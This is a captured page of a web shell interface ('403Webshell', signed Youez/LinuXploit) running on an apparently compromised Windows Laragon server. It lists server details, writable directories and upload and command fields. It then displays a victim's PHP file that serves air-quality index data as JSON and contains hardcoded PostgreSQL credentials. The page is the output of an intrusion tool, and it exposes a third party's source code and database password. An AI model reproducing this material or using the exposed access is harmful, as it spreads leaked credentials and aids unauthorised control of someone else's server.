403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/laragon/www/modules/unidades/assets/redMonica/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/laragon/www/modules/unidades/assets/redMonica/dataDB.php
<?php
ob_start();
header('Content-Type: application/json');

$host = "localhost";
$dbname = "db_provegaq"; 
$user = "postgres";
$password = "ADMIN"; 

try {
    $pdo = new PDO("pgsql:host=$host;dbname=$dbname", $user, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    http_response_code(500);
    die(json_encode(["error" => "Error al conectar a la base de datos: " . $e->getMessage()]));
}

$sqlLast = "SELECT fecha, valor 
            FROM medicion_aire 
            WHERE estado = false 
            ORDER BY fecha DESC, id_medicion_aire DESC 
            LIMIT 1";
$stmtFecha = $pdo->query($sqlLast);
$rowFecha = $stmtFecha->fetch(PDO::FETCH_ASSOC);

if ($rowFecha) {
    $ultima_fecha = $rowFecha['fecha'];
    $ultima_fecha = date('Y-m-d', strtotime($ultima_fecha));
} else {
    $ultima_fecha = date('Y-m-d');
}

$sqlMediciones = "
    SELECT valor 
    FROM medicion_aire 
    WHERE estado = false AND fecha::date = :fecha::date
    ORDER BY fecha DESC, id_medicion_aire DESC
    LIMIT 1
";
$stmtMediciones = $pdo->prepare($sqlMediciones);
$stmtMediciones->execute(['fecha' => $ultima_fecha]);
$row = $stmtMediciones->fetch(PDO::FETCH_ASSOC);
$ica_value = $row ? floatval($row['valor']) : 0;


$sqlCategoria = "
    SELECT * FROM categoria_aire
    WHERE :ica_value BETWEEN valor_minimo::DECIMAL AND valor_maximo::DECIMAL AND estado = false
    LIMIT 1
";
$stmtCategoria = $pdo->prepare($sqlCategoria);
$stmtCategoria->bindValue(':ica_value', $ica_value, PDO::PARAM_STR); // Force as string
$stmtCategoria->execute();
$categoria = $stmtCategoria->fetch(PDO::FETCH_ASSOC);

if (!$categoria) {
    http_response_code(500);
    die(json_encode(["error" => "No se encontró categoría para el valor ICA: $ica_value"]));
}

$sqlRiesgo = "
    SELECT g.grupo, g.recomendacion 
    FROM grupos_riesgo g
    WHERE g.id_categoria_aire = :id_categoria
";
$stmtRiesgo = $pdo->prepare($sqlRiesgo);
$stmtRiesgo->execute(['id_categoria' => $categoria['id_categoria_aire']]);
$riesgo = $stmtRiesgo->fetchAll(PDO::FETCH_ASSOC);

$sqlAllCategorias = "SELECT * FROM categoria_aire where estado = false ORDER BY valor_minimo ASC";
$stmtAllCategorias = $pdo->query($sqlAllCategorias);
$allCategorias = $stmtAllCategorias->fetchAll(PDO::FETCH_ASSOC);

$sqlAllGroups = "SELECT g.*, c.categoria 
                FROM grupos_riesgo g
                JOIN categoria_aire c ON g.id_categoria_aire = c.id_categoria_aire
                WHERE g.estado = false
                ORDER BY c.valor_minimo ASC, g.grupo ASC";
$stmtAllGroups = $pdo->query($sqlAllGroups);
$allGroupsRaw = $stmtAllGroups->fetchAll(PDO::FETCH_ASSOC);

$allGroups = [];
foreach ($allGroupsRaw as $grp) {
    $allGroups[$grp['categoria']][] = $grp;
}

$response = [
    "fecha" => $ultima_fecha,
    "ica" => [
        "valor" => $ica_value,
        "clasificacion" => $categoria['categoria'],
        "color" => $categoria['color'],
        "descripcion" => $categoria['descripcion'],
        "recomendaciones_gral" => $categoria['recomendacion'],
        "grupos_riesgo" => $riesgo
    ],
    "mediciones" => ["valor" => $ica_value],
    "allCategorias" => $allCategorias,
    "allGroups" => $allGroups
];

ob_end_clean();
echo json_encode($response);
exit();

Youez - 2016 - github.com/yon3zu
LinuXploit